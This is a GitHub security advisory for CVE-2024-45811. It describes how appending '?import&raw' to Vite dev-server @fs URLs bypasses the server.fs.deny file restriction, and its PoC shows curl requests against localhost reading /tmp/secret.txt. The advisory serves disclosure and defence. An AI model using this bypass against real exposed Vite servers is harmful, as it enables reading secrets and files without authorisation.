GHSA-9cwx-2883-4wfx

ghsaUSosv

Vite's `server.fs.deny` is bypassed when using `?import&raw`

view advisory published 2024-09-17Licence: CC-BY-4.0

### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

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describes (1)

Related CVEs.

IDseverity exploitable
CVE-2024-45811US——
Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of…
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